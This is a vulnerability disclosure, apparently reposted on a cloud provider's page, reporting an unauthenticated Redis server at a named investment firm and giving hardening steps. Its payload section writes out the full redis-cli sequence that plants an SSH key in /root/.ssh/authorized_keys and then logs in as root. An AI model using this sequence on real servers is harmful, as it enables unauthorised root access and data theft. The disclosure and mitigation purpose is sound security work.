Unauthorized access to the Redis server of a financial investment company can cause a large amount of user information leakage.

Source: Internet
Author: User

Unauthorized access to the Redis server of a financial investment company can cause a large amount of user information leakage.

Unauthorized access to the Redis server of a financial investment company can cause a large amount of user information leakage.

0x00 unauthorized access to Redis server of Beijing qianjing fortune Investment Management

Code Region
http://**.**.**.**

Problematic IP Address

Code Region
**.**.**.**:6379

Payload

Code Region
root@kali:~/.ssh# cat foo.txt | redis-cli -h **.**.**.** -x set crackitOKroot@kali:~/.ssh# redis-cli -h **.**.**.****.**.**.**:6379> config set dir /root/.ssh/OK**.**.**.**:6379> config get dir1) "dir"2) "/root/.ssh"**.**.**.**:6379> config set dbfilename "authorized_keys"OK**.**.**.**:6379> saveOK**.**.**.**:6379> quitroot@kali:~/.ssh# ssh -i id_rsa root@**.**.**.**[root@web3 ~]#

0x02 Intranet

0x03 database backup files

Solution:

1. Specify the NIC used by the redis Service (redis needs to be restarted to take effect)

In the redis. conf file, find "# bind **. **", remove the # sign, and save it. Note: After modification, only the local machine can access Redis.

2. Set the access password (redis needs to be restarted to take effect)

Find the "requirepass" field in redis. conf and fill in the password you need later. The Redis client also needs this password to access the Redis service.

3. Modify the account for running the Redis Service

Run the Redis service with a lower-permission account and disable the account's logon permission. Attackers can write files to the disk, but Redis data can still be accessed or maliciously deleted by hackers.

4. Set firewall policies

If the Redis service needs to be accessed by other servers in normal business, you can set the iptables policy to allow only the specified IP address to access the Redis service.


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.